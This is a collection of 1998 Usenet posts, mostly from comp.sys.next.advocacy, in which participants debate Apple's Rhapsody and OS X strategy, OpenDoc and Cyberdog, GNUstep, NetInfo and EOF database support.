I'd call 10 a day to be quite sufficiently active to provide information
about the *actual activities* of a development project, which is most
definitely the current state of GNUStep activity.
Actual activities being distinct from the more typical things found in
newsgroups such as:
"Has anybody done a Mozilla port to GNUStep yet?"
"Is it done yet?"
"GNUStep is better than [whatever]. Bwahahahaah!!!!"
"Check out www.hotsex.com!"
"Here's a great business opportunity for you!"
"There's this kid in England with a brain tumour who wants to receive
cards..."
>> Incidentally, the HURD and GNUstep are two quite unrelated projects
>
> Yes, sorry, my bad, I was referring to gnu.misc.discuss. They have about
>15 message a day, with _maybe_ 2 or 3 a day about development issues. I've
>looked in the various development areas for signs of life too, but no such
>luck.
>
>> HURD. Maybe you meant gnu.misc.discuss (aka. endless GPL flamewars:-)
>> instead?
>
> Indeed. Is there a better area to talk HURD?
There's a mailing list or two; see the URL below for many relevant Hurd
links...
--
"I don't know why, but first C programs tend to look a lot worse than
first programs in any other language (maybe except for FORTRAN, but
then I suspect all FORTRAN programs look like `firsts')" (By Olaf Kirch)
cbbrowne@ntlug.org- <http//www.hex.net/~cbbrowne/oshurd.html>
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
<71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
<71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com>
<71qtlr$9sl@news1.panix.com>
Message-ID: <Fqb02.13649$yb5.12475178@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 06:18:13 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 22:18:13 PDT
Organization: @Home Network
In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> > If
> >OSX isn't an NT killer,
>
> It isn't an "NT killer" yet. Just like Linux wasn't an NT killer in '94.
>
>
Fine, I'll accept that. Will someone please tell where and how with OSX
Apple can make an NT killer? I suggested latent technologies we've not yet
seen. That got shot down. You're proposing a slow build strategy... You're
not alone. I had this same discussion with John Kheit. It fits everything
Apple has done. I continue to disbelieve Java/distributed apps and Linux
will foster an environment for that strategy to be effective.
Odd man out I may be...
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <eXG%1.13161$yb5.11439671@news.rdc1.sdca.home.com>
<71oipq$dq4@news1.panix.com> <nwQ%1.13360$yb5.11713788@news.rdc1.sdca.home.com>
<71oqsc$gkb@news1.panix.com> <i0T%1.13479$yb5.11713788@news.rdc1.sdca.home.com>
<71qtlr$9sl@news1.panix.com>
Message-ID: <9Zb02.13666$yb5.12475178@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 06:55:01 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 22:55:01 PDT
Organization: @Home Network
In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> On Wed, 04 Nov 1998 07:04:46 GMT, Rex Riley <rr6013@yahoo.com> wrote:
> >> >See... you really think Apple has 3-5 years to ramp-up their OSX
product
> >> >plan?
> >> Do you think that they could ramp up in less than that?
> >Yeah!
>
> How?
>
>
The size of the task ahead of Apple outstrips its resources and scale of
enterprise. First Apple addresses "scale". It gets a big brother. It
partners with Sony - the Mac is back, BIG. Sony scales Apple's mfg,
marketing and operations. Apple extends Sony's consumer devices into
computational software/hardware (ala Playstation?).
Sony is a win-win giving Apple much needed scalability, freeing up
operations and allowing Apple to focus on servicing their markets. Sony
wins marketshare in a category they must compete against sooner or later,
anyway. Just now they do it on their terms.
-r
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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<71qtlr$9sl@news1.panix.com>
Message-ID: <Ucc02.13667$yb5.12475178@news.rdc1.sdca.home.com>
Date: Thu, 05 Nov 1998 07:11:48 GMT
NNTP-Posting-Date: Wed, 04 Nov 1998 23:11:48 PDT
Organization: @Home Network
In <71qtlr$9sl@news1.panix.com> Sal Denaro wrote:
> Grovelling is not going to give Apple any credibility.
>
>
Times change... circumstances change, people mature. Are you implying that
if Apple, Sun, SG and HP put their future technologies into a consortium as
a response to the MS stranglehold, you'd think such grovelling baseless?
> I think Steve will take success any way he can, and take credit any way he
> can.
>
>
Steve taking credit, works to put a face on it and an easy way to
communicate that success to the outside world. The fact that Steve wears
the accolades so well is part Pride from having fathered the place.
Can't deny him that...
-r
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Message-ID: <forrestDELETE-THIS!-0411982318510001@term1-8.vta.west.net>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com>
Organization: Obsidian Design / Static Dreams Interactive
Date: Wed, 04 Nov 1998 23:18:51 -0700
NNTP-Posting-Date: Wed, 04 Nov 1998 23:17:35 PDT
In article <71r6a5$r41$1@nnrp1.dejanews.com>, "Charles Swiger"
<chuck@codefab.com> wrote:
> >> Yes, NeXT did innovate. They created something new which added
> >> value for the administrators.
> > Here's a short lesson in what some call "spin doctoring". Take the above
> > quote and compare it to the following:
> > "The history of Microsoft 'innovation' is to take what it wants from the
> > world around it, modify it so that no one can use it outside their own
> > platform, and call it progress."
> > Now, notice that there is actually no difference in the implications
> > involved.
> Actually, there is. NeXT machines play nice with other vendor's standards,
> like NIS. People using something like Visual J++ create "Java" programs that
> don't play nice with other JVMs.
There's certainly a difference in the reality of the products. But taking
the two quotes and comparing them, they both imply the same thing. The
original poster said NeXT created something new which added value for the
admins. This, we all know, was a real technologically new thing. MS
created something new (a proprietary market stranglehold) which benefited
admins (everybody now depends on them). The implications of both
statements are identical all on their own, without having any knowledge of
either product.
But I'm nit-picking now.
--
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions.
Apply at front desk. All prices subject to change. Universe, the Universe
logo, and all objects contained within are (TM) and (C) Everything
Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: "WaldoTim" <waldotim@yahoo.com>
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
Date: Mon, 2 Nov 1998 23:44:24 -0500
Organization: UltraNet Communications , an RCN Company http://www.ultranet.com/
Message-ID: <71m1n3$h26$1@ligarius.ultra.net>
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net> <36184884.D44FFF6C@nstar.net> <asiufy-0510981725230001@200.229.243.237> <70e4pg$hq2$1@strato.ultra.net> <3643a4c1.33254630@news.supernews.com> <70u099$30p$1@news-1.news.gte.net> <3648612d.157475509@news.supernews.com> <715ngv$hcs$7@eskinews.eskimo.com> <rbarris-ya023280002710981628380001@206.82.216.1> <715rg0$1p4_006@news.uscom.com>
hmmm... maybe I'm doing something wrong, but it works fine for me. :) I just
created a hierarchy like this:
( try to imagine this as the output of tar -tf )
c:\
c:\temp\
c:\temp\fluffy\flopsy.txt
c:\temp\fluffy\muffy\
c:\temp\fluffy\muffy\mopsy.txt
That's three directories and two empty text files. I dragged c:\temp\ to the
bin. I looked in the bin. It was there (a little folder named temp). I
dragged it back to c:\. All the folders and files were there. Did I miss
something?
-Tim
p.s. the silly names, for those of you dying of curiosity, are the names of
rabbits from various children's stories (Peter Rabbit, etc.) Don't ask. :)
Drakmere wrote in message <715rg0$1p4_006@news.uscom.com>...
>In article <rbarris-ya023280002710981628380001@206.82.216.1>,
rbarris@quicksilver.com (Rob Barris) babbled thusly:
>>In article <715ngv$hcs$7@eskinews.eskimo.com>, "Chris Alsan"
>><bgodot@eskimo.com> wrote:
>>
>>> The recycle bin does keep track of files original locations.
>>
>> Doesn't work for me, if I drag a Win95 folder hierarchy to the recycle
>>bin, it gets flattened. No easy way to drag it back out the way it was (if
>>I dragged the wrong thing or if I change my mind). Did I miss something?
>>
>>Rob
>Hit delete, THEN it works. Also, try hitting RESTORE, instead of dragging
it
>back.
>
>--
>(All quotes and spellings are not guaranteed accurate.)
>ICQ: 8869737 Yahoo: Drakmere Aim: drakmere9
>The irony is that Bill Gates claims to be making a stable operating system
and Linus Torvalds claims to be trying to take over the world.
>When in-laws are outlawed, only outlaws will have in-laws.
>This .sig in UNDER CONSTRUCTION
>Any suggestions are appreciated, and disposed of ;)
From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: Apple as Linux vendor: business solutions
Date: Wed, 04 Nov 1998 03:00:34 GMT
Organization: Airnews.net! at Internet America
Message-ID: <6F67F672E3346914.117F6585BE7B2CAB.2ABD1BFAF772578C@library-proxy.airnews.net>
References: <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost> <keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet> <adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet> <adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1> <FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com> <D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu> <adtF1v5q2.K8I@netcom.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
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NNTP-Posting-Time: Tue Nov 3 20:52:06 1998
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On Tue, 3 Nov 1998 20:46:50 GMT, adt@netcom.com (Anthony D. Tribelli)
wrote:
>On Sat, 24 Oct 1998 16:00:22 GMT, Sheldon Gartner wrote:
>
>> Port a boatload of Mac apps to Linux and sell Apple hardware with
>> Linx-preinstalled (I don't know if it'd be best for them to be
>> duel-boot or not.)
>
>Why? What you seem to be asking for is very close to Rhapsody. A UNIX core
>with a credible consumer GUI and shrink wrapped retail apps (in addition
>to the UNIX tools and apps for those interested).
Ok. But something needs to be done NOW.
Apple can't afford to dither while Linux grows up. It needs to produce
its own distributuion that is REALLY easy to install (even easier than
Red Hat) even on old PCs.
They could make a mint off of service alone.
-l
---
ICQ#: 9393354 * "Whenever you find that you are on the side of
the majority, it is time to reform." -- Mark Twain
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Apple as Linux vendor: business solutions
Content-Type: text/plain; charset=us-ascii
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Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: jason@jhste1.dyn.ml.org
Organization: needs one
References: <6vr3b4$gv0$1@nnrp03.primenet.com> <FIiROLCWddLd-pn2-02PrLskVRerX@localhost>
<3622e542.417730905@enews.newsguy.com> <FIiROLCWddLd-pn2-WRh9Q3skKThg@localhost>
<keyes-ya02408000R1310981506290001@news> <slrn727bpq.lcs.jedi@dementia.mishnet>
<adtF0u3v1.G0C@netcom.com> <slrn72ai2f.6lv.jedi@dementia.mishnet>
<adtF0uM5o.GJA@netcom.com> <charles.bouldin-1410982335480001@192.168.0.1>
<FIiROLCWddLd-pn2-ETkSuWN3LDd9@localhost> <36275FD9.8C6A7B8C@cadence.com>
<D0BF1A6533F202D6.80CCF52EE4B32F3C.9A1A4646FF3C2ECA@library-proxy.airnews.net> <slrn73sj8q.ktf.josh@vortex.nyu.edu>
<F1ur27.5EC@T-FCN.Net> <slrn73utl8.512.jason@jhste1.dyn.ml.org>
Mime-Version: 1.0
Date: Tue, 3 Nov 1998 22:30:58 GMT
In <slrn73utl8.512.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Linux/PowerPC Inc. donated a Linux/PowerPC box to the SheepShaver
> developers (does this count?) It should be out pretty soon. In any event,
> why would YB be particularly desirable? It has a tiny application base
> compared even to open-source UNIX/X apps. (And the fact that you consider
> it to be cool is not a compelling reason!)
The fact that you have to ask the question is the saddest thing about
this whole state of affairs. Quick, name five good or bad facts about the
iMac. Quick, name five facts about the YB. See the difference? Don't
confuse your lack of knowledge for anything other than your lack of
knowledge. That is not a flame, this is a comment on Apple's current
handling of the issue. You have to trust someone sometime, trust me on
this one now.
MacOS had a tiny application base compared to Unix even in 1984, it also
had a tinier application base compared to DOS or C=64, or just about
anything else. That's not a comment on the desirability of the product.
Yb makes certain things so much easier that it's scarry. One of those
things is application development. Another of those things is web
application development. I'm pretty sure those two things are pretty
important to Linux.
Maury
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 3 Nov 1998 11:56:20 -0500
Organization: phenix@interpath.com
Message-ID: <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
John Jensen <jjens@primenet.com> wrote:
> Lawson English <english@primenet.com> wrote:
>
> : Coincidentally, nearly all of these have cross-platform applications, so
> : the needs of the Apple-only Developer and the Top 100 Developer are
> : likely NOT at all the same.
>
> That is where I was going. The difficulty is that the Top 10 or 20
> Developers are benefiting from the status quo. Apple isn't likely to find
> OS-revolutionaries among their ranks. I mean, if Adobe would rather stay
> and make money with Windows ... perhaps the rest of the 100 view
> themselves the same way. Or they would like a revolution but can't cost-
> justify it.
>
> I think the Be people have had this figured out for a while. They went
> looking for revolutionaries and offered them a place on the ground floor.
I think Apple had the revolutionaries - they just shot at them so often
they are gun shy.
Look at Lawson - he's about as revolutionary as you can get in regards
to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
both of them. Other people take him as a object lesson - adopt Apple's
latest and greatest and 3 or 4 years latter you'll be singing it's
praises while getting ignored for flogging a dead horse.
--
John "I was promised protected memory 'in 18-24 months' in '88" Moreno
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 98 10:41:47 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2648E7A-39154@206.165.43.115>
References: <cirby-0311980923530001@pm61-32.magicnet.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Chad Irby <cirby@magicnet.net> said:
>>
>> Dunno. From his perspective, spending time and money on OpenDoc may
>have
>> just seemed like a waste.
>
>....which is why MS spent so much money developing the Poor Man's OpenDoc,
>aka OLE...
Actually, it was the other way around. How many OLE-using apps on MacOS?
THE premier MacOS app from Apple, ClarisWorks, was meant to be the flagship
OD-using app on both MacOS and Windows. If they had managed to get it out
the door, there would have been no question about cancelling OD, IMHO,
because ClarisWorks with OD would have *rocked*.
Now, the original question about whether OD was perceived as a threat to MS
can be answer in this way:
1) the subject was *client* software. No support for OpenDoc was ever
needed on MS's part. THe client software would have been doing its own
support.
2) the only forbidden issue in Gates mind was OpenDoc on the client-side.
3) the only Internet client software that ever used OpenDoc was Cyberdog,
which Gates apparently perceived as quite threatening because he singled
out OpenDoc as an issue for client software when Cyberdog was the ONLY
client software on any platform that used it.
Cyberdog is the trojan horse of OD software. Get people using CD and they
dont' want to go back to earlier types of browsers. Had Cyberdog bundling
continued, there would have been such an installed base of OD users that
Jobs wouldn't be able to justify killing OD OR Cyberdog.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 1998 19:44:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <71nmfq$hig$1@nnrp03.primenet.com>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net>
John Moreno <phenix@interpath.com> wrote:
: John Jensen <jjens@primenet.com> wrote:
: > I think the Be people have had this figured out for a while. They went
: > looking for revolutionaries and offered them a place on the ground floor.
: I think Apple had the revolutionaries - they just shot at them so often
: they are gun shy.
Or wasted the troops in false charges?
Apple has cleverly hidden their main attack ... now, once more boys ...
over the top!
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 3 Nov 98 11:04:37 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B26497F7-5CBFB@206.165.43.115>
References: <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
John Moreno <phenix@interpath.com> said:
>Look at Lawson - he's about as revolutionary as you can get in regards
>to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
>both of them. Other people take him as a object lesson - adopt Apple's
>latest and greatest and 3 or 4 years latter you'll be singing it's
>praises while getting ignored for flogging a dead horse.
What? Just because I can get GX to work as a professional level graphics
library from within a universally available scripting language like
HyperTalk?
The goal right now is three-fold:
Complete GXFCN as a scripting interface to GX.
Create a simple, extensible vector and bitmap and text-editing GUI-driven
XFCN that can be extended via GXFCN (this is trivial: just create a
simple-minded drawing app with the "current" Ink, Style and Transform
objects editable via GXFCN. That way, the ink, style and transform of any
selected or new shape objects are controlled via scripting via GXFCN
-HyperCard pseudo-controls can be mocked up for the GUI, if needed).
Create a separate GX-printing app that can accept files saved from GXFCN
and the drawing XFCN and print to bitmap, GX drivers, PS drivers and EPS
under System 7.x and 8.x. THis should also be trivial, since it is almost
what the sample GX printing app provided for MacOS 8 already does.
Concurrently, I'm looking at converting the first two to OSAXen so that
AppleScript can be used from within any attachable app to control the first
two. (This last part looks almost trivial. There is a generic OSAX that
acts as a shell around any XFCN/XCMD and allows one to use it via
AppleScript).
Add in a few more gems like importing and exporting of any generic
QUickTime image format, plus the ability to convert a GX picture to QT
vector format, and this thing will be a jack-of-all-trades for 2D imaging
on the Mac. All for $10 for personal/commercial use.
Unfortunately, due to management's decisions about GX, only Macs running
MacOS 8.5 or earlier will be able to use it.
Pity, that. Of course, clone-owners can laugh because they likely won't be
able to run Carbon, but WILL be able to run GXFCN.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 3 Nov 1998 15:14:43 -0500
Organization: phenix@interpath.com
Message-ID: <1dhxbcq.avv9tl1phx79bN@roxboro0-024.dyn.interpath.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com> <71l9ks$5r9$1@nnrp02.primenet.com> <B2639C1A-F592C@206.165.43.141> <71ljv9$1f4$2@nnrp03.primenet.com> <1dhx17f.ykfxv7qlzgujN@roxboro0-039.dyn.interpath.net> <B26497F7-5CBFB@206.165.43.115>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4b3
Lawson English <english@primenet.com> wrote:
> John Moreno <phenix@interpath.com> said:
>
> >Look at Lawson - he's about as revolutionary as you can get in regards
> >to OpenDoc and GX, but that doesn't matter -- they've pretty much killed
> >both of them. Other people take him as a object lesson - adopt Apple's
> >latest and greatest and 3 or 4 years latter you'll be singing it's
> >praises while getting ignored for flogging a dead horse.
>
> What? Just because I can get GX to work as a professional level graphics
> library from within a universally available scripting language like
> HyperTalk?
Yes.
-snip-
> Add in a few more gems like importing and exporting of any generic
> QUickTime image format, plus the ability to convert a GX picture to QT
> vector format, and this thing will be a jack-of-all-trades for 2D imaging
> on the Mac. All for $10 for personal/commercial use.
>
> Unfortunately, due to management's decisions about GX, only Macs running
> MacOS 8.5 or earlier will be able to use it.
I'm not throwing stones or saying you should stop or that you won't end
up creating something worthwhile - what I'm saying is that most people
will see what you are doing as a dead end product (like developing
something for the IIgs in '87). As you say in that last paragraph - it
won't run under the next OS and instead of a expanding market you are
catering to what will be a shrinking market. Most people don't want to
do that.
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
SIGDASH! Com'on, it'd take you 10 seconds to modify your letterhead so
that it had a sigdash that worked.
--
John "Dash Dash Space" Moreno
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: Tue, 03 Nov 1998 12:25:33 -0800
Organization: Graves Associates
Message-ID: <gmgraves-0311981225340001@sf-usr0-2-66.dialup.slip.net>
References: <71kj6v$f4j@shelob.afs.com> <71kvll$q9t$1@nnrp03.primenet.com>
In article <71kvll$q9t$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
>
> How hard is it for Apple to review what works? I get the feeling that
> they would rather be Apple than be right.
>
> John
Uh-huh.
George Graves
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: 4 Nov 1998 03:48:17 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <71oiq1$dq4@news1.panix.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com><71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com>
On Tue, 03 Nov 1998 22:34:09 GMT, Charles Swiger <chuck@codefab.com> wrote:
>Unfortunately, one problem with a true middleware layer like EOF with regard
>to gathering support from DB vendors is that EOF marginalizes the specific
>database in use. If the developer neither sees nor cares whether he's using
>Oracle, Sybase, MS SQLserver, or whatever, how does Oracle stand out from
>its' competition?
Worse than that, it provides a lot of the OO goodies that vendors want to
charge an arm and a leg for when they start shipping true ORDBMS products.
Why would I pay big bucks for Oracle's ORDBMS when EOF can give me 80->90%
of that on the same backend?
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com>
Message-ID: <S9N%1.13246$yb5.11558948@news.rdc1.sdca.home.com>
Date: Wed, 04 Nov 1998 00:25:22 GMT
NNTP-Posting-Date: Tue, 03 Nov 1998 16:25:22 PDT
Organization: @Home Network
In <71o4se$lsc$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> Sun's hardware scales very far up, so is a good choice for heavy-duty
sites.
>
>
Agreed. Nothing compares to Sun Server's for scalablility,
ease-of-maintenance and $/performance.
-r
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Message-ID: <je6$dKjSkmOG@cc.usu.edu>
From: root@127.0.0.1
Date: 3 Nov 98 17:07:48 MDT
References: <71aovh$hkc@newsb.netnews.att.com>
<IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <71itan$ahn$1@ash.prod.itd.earthlink.net> <71o0d1$g3n$1@nnrp1.dejanews.com>
MIME-Version: 1.0
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In <71o0d1$g3n$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> In article <71itan$ahn$1@ash.prod.itd.earthlink.net>,
> "Ziya Oz" <ZiyaOz@earthlink.net> wrote:
> > In article <71ikln$94o@news1.panix.com> , sal@panix.com (Sal Denaro) wrote:
> >> I'm willing to bet that the delay has more to do with WO4 and support for
> >> Oracle
> >
> > What support for Oracle?
>
> A new EOF adaptor for use in conjunction with WebObjects 4. Rumor has it that
> Oracle wanted a very large sum of money to do the port.
>
> Unfortunately, one problem with a true middleware layer like EOF with regard
> to gathering support from DB vendors is that EOF marginalizes the specific
> database in use. If the developer neither sees nor cares whether he's using
> Oracle, Sybase, MS SQLserver, or whatever, how does Oracle stand out from
> its' competition?
Perhaps maybe its performance?
Newsgroups: comp.sys.next.advocacy
From: Michael_Humphries-Dolnick.nospam@wdr.com (Michael Humphries-Dolnick)
Subject: Re: FYI: Movies on Apple
Message-ID: <1998Nov3.165230.24051@il.us.swissbank.com>
Sender: root@il.us.swissbank.com (Operator)
Organization: Swiss Bank Corporation CM&T Division
References: <36372C71.DC08E511@fmr.com>
Date: Tue, 3 Nov 1998 16:52:30 GMT
In article <36372C71.DC08E511@fmr.com> writes:
> What I liked about the Apollo program was the way Hanks showed the
Apollo mission
> from different individuals point of view (the engineers, the wives,
etc.), not just
> the astronauts. If he does the same thing here, one program might
include a
> disgruntled NeXT/Newton/insert-other-abandoned-platform user posting
speculation
> about Apple to usenet.
YEAH! Maybe instead of actually investing in a script, they could just
take the script from USENET archives! Think of all the money they could
save...
--
Michael Humphries-Dolnick
"My opinions, not my employer's"
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 09:22:00 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B265CD3A-8E98@206.165.43.151>
References: <1dhyq50.1kag6rm163e9cyN@roxboro0-018.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
John Moreno <phenix@interpath.com> said:
>Add a sigdash! Show that it can be done from within Cd (I spent months
>thinking it couldn't).
>
What is a "sigdash?" [note that I deleted my usual sig pending
comprehension and compliance]
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Avie's testimony: Now we know what happened to Rhapsody
Date: 4 Nov 98 12:29:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B265F916-6101E@206.165.43.79>
References: <1dhz0hs.dt52lv15xhk8wN@roxboro0-059.dyn.interpath.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
John Moreno said:
>Take a look at this article in Cd and then open it again using a option
>click to see the "raw" article - you'll see the space there, but not in
>the normal Cd message window.
>
>--
>John Moreno
Is this better?
--
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jq@papoose.quick.com (James E. Quick)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: 4 Nov 1998 14:31:21 -0500
Organization: Quick and Associates
Message-ID: <71qa29$k42@papoose.quick.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com>
In article <3640795E.CF924665@ericsson.com>,
Michael Peck <michael.peck@ericsson.com> wrote:
>"James E. Quick" wrote:
>
>[cut]
>
>> It's one of the reasons I have always loved NeXTStep. It's always
>> been an environment of cooperation. One developer writes a neat
>> piece of code - commercial or otherwise, and users of every other
>> piece of code get to leverage it via services. Everyone wins. In
>> a way it's an ethical operating system.
>
>NetInfo? How does this figure into your assessment?
Look back about 10 years in Unix administration.
For address information there were 3 choices. DNS, NIS, and flat files.
For passwd, group administration 2 choices, NIS or flat files.
For services, ditto.
From day one, next provided support to both serve and use DNS
directory services. It also spoke NIS, so that you could work
in that world. In environments where central administration involved
flat files rcp'ed around, you could still just accept the file and niload
it programmatically. You could even administer everything in
netinfo, and then programatically nidump and distribute changes.
Yes, NeXT did innovate. They created something new which added
value for the administrators. At the same time they took care
to ensure that NeXTen would be good citizens on the network.
You want NIS, sure, use NIS. You want to keep using flat files,
no problem just stick something into cron to niload modified
files.
If you had a bunch of NeXTs you were better off using netinfo
for everything but you need not have. Its easy to set things up
via simplenetworkstarter, so that each host is it's own master,
and each host relies on NIS and DNS for all their other information.
Netinfo Is certainly different, and in my opinion better, but it
in no way locked you into anything.
Contrast this with either of my two examples Java, and Kerberos5.
Both of these were inherently extensible specifications which were
